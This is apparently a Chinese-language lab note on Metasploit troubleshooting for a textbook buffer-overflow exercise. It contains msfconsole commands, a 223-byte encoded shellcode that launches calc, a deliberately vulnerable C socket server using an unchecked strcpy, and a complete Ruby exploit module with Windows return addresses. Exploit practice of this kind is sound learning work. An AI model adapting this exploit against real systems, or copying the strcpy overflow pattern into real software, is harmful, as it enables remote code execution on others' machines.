Metasploit使用问题记录及攻击测试代码

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1、利用failwest书中的例子进行测试，执行exploit后提示如下信息，说明 Payload'中的Space过小，增大即可，后面有例子程序可进行测试。

'Payload'        =>
               {
                   'Space'    => 300,
                   'BadChars' => "\x00",
                   'StackAdjustment' => -3500,
               },
[-] Exploit failed: No encoders encoded the buffer successfully.
[*] Exploit completed, but no session was created.

2、如提示无法加载模块，说明rb文件书写语法有误，需要更改，不同的版本有可能语法也不完全相同，如下面的rb测试代码放到最新的版本中则无法加载，使用时注意。

3、目前使用metasploit3.4.0版本进行测试，测试时发现targets 中sp2及win 2000地址失效，所以用[ 'Windwos xp sp3', { 'Ret' => 0x7c86467b} ], ，0x7c86467b地址为jmp esp测试成功,使用metasploit console输入 msfpescan -f -j esp c:/windows/system32/kernel32.dll

4、metasploit常用命令：

use 模块名

set payload XX

set rhost XX

set rport XX

set exitfunc seh

set cmd calc

set payload windows/exc

5、配置的shellcode为223个字节，即上面的300可以改为223

/*
* windows/exec - 223 bytes
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* EXITFUNC=process, CMD=calc
*/
unsigned char buf[] =
"\xd9\xe5\xbd\x20\x99\xb8\x99\x31\xc9\xd9\x74\x24\xf4\x5e\xb1"
"\x32\x83\xee\xfc\x31\x6e\x13\x03\x4e\x8a\x5a\x6c\x72\x44\x13"
"\x8f\x8a\x95\x44\x19\x6f\xa4\x56\x7d\xe4\x95\x66\xf5\xa8\x15"
"\x0c\x5b\x58\xad\x60\x74\x6f\x06\xce\xa2\x5e\x97\xfe\x6a\x0c"
"\x5b\x60\x17\x4e\x88\x42\x26\x81\xdd\x83\x6f\xff\x2e\xd1\x38"
"\x74\x9c\xc6\x4d\xc8\x1d\xe6\x81\x47\x1d\x90\xa4\x97\xea\x2a"
"\xa6\xc7\x43\x20\xe0\xff\xe8\x6e\xd1\xfe\x3d\x6d\x2d\x49\x49"
"\x46\xc5\x48\x9b\x96\x26\x7b\xe3\x75\x19\xb4\xee\x84\x5d\x72"
"\x11\xf3\x95\x81\xac\x04\x6e\xf8\x6a\x80\x73\x5a\xf8\x32\x50"
"\x5b\x2d\xa4\x13\x57\x9a\xa2\x7c\x7b\x1d\x66\xf7\x87\x96\x89"
"\xd8\x0e\xec\xad\xfc\x4b\xb6\xcc\xa5\x31\x19\xf0\xb6\x9d\xc6"
"\x54\xbc\x0f\x12\xee\x9f\x45\xe5\x62\x9a\x20\xe5\x7c\xa5\x02"
"\x8e\x4d\x2e\xcd\xc9\x51\xe5\xaa\x26\x18\xa4\x9a\xae\xc5\x3c"
"\x9f\xb2\xf5\xea\xe3\xca\x75\x1f\x9b\x28\x65\x6a\x9e\x75\x21"
"\x86\xd2\xe6\xc4\xa8\x41\x06\xcd\xca\x04\x94\x8d\x0c";

#include <IOSTREAM.H>
#include <WINSOCK2.H>
#pragma comment(lib,"ws2_32.lib")
VOID msg_display(char *buf)
{
   char msg[200];
   strcpy(msg,buf);
   cout<<"****************"<<endl;
   cout<<msg<<endl;
}

void main()
{
   SOCKET sock,msgsock,length,receive_len;
   struct sockaddr_in sock_server,sock_client;
   char buf[0x200];

   WSADATA wsa;
   WSAStartup(MAKEWORD(1,1),&wsa);
   if ((sock=socket(AF_INET,SOCK_STREAM,0))<0)
   {
       cout<<sock<<"Socket Creating Error!"<<endl;
       exit(1);
   }

   sock_server.sin_family=AF_INET;
   sock_server.sin_port=htons(7777);
   sock_server.sin_addr.S_un.S_addr=INADDR_ANY;
   if (bind(sock,(sockaddr *)&sock_server,sizeof(sock_server)))
   {
       cout<<"binging stream socket error!"<<endl;
   }
   cout<<"**********************************"<<endl;
   cout<<"   exploit target server 1.0      "<<endl;
   cout<<"**********************************"<<endl;
   listen(sock,4);
   length=sizeof(struct sockaddr);
   do
   {
       msgsock=accept(sock,(struct sockaddr *)&sock_client,(int *)&length);
       if (msgsock==1)
       {
           cout<<"accept error!"<<endl;
           break;
       }
       else
           do
           {
               memset(buf,0,sizeof(buf));
               if ((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
               {
                   cout<<"reading stream message error!"<<endl;
                   receive_len=0;
               }
               msg_display(buf);
           }while(receive_len);
           closesocket(msgsock);
   } while (1);
   WSACleanup();
}

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
   Rank = AverageRanking

   include Msf::Exploit::Remote::Tcp

   def initialize(info = {})
       super(update_info(info,
           'Name'           => 'JYH testing Buffer Overflow',
           'Description'    => %q{
                   This module exploits a stack buffer overflow, an attacker may be able to execute arbitrary code.
           },
           'Author'         => [ 'JYH' ],
           'License'        => MSF_LICENSE,
           'Version'        => '$Revision: 9262 $',
           'References'     =>
               [
                   [ 'CVE', '2008-0226' ],
                   [ 'OSVDB', '41195'],
                   [ 'BID', '27140' ],
               ],
           'Privileged'     => true,
           'DefaultOptions' =>
               {
                   'EXITFUNC' => 'thread',
               },
           'Payload'        =>
               {
                   'Space'    => 300,
                   'BadChars' => "\x00",
                   'StackAdjustment' => -3500,
               },
           'Platform'       => 'win',
           'Targets'        =>
               [
                   [ 'Windows 2000',    { 'Ret' => 0x77F8948B } ],
                   [ 'Windwos xp sp2',    { 'Ret' => 0x7C914393 } ],
                   [ 'Windwos xp sp3',    { 'Ret' => 0x7c86467b} ],
               ],
           'DefaultTarget' => 1,
           'DisclosureDate' => 'Jan 4 2012'))

   end

   def exploit
       print_status("Trying target")
       connect
       #sock.get_once
       #print_status("Trying target #{target.name}...")
       buf = 'A' * 200
       buf += [ target.ret ].pack('V')
       buf += payload.encoded

       sock.put(buf)

       handler
       disconnect
   end

end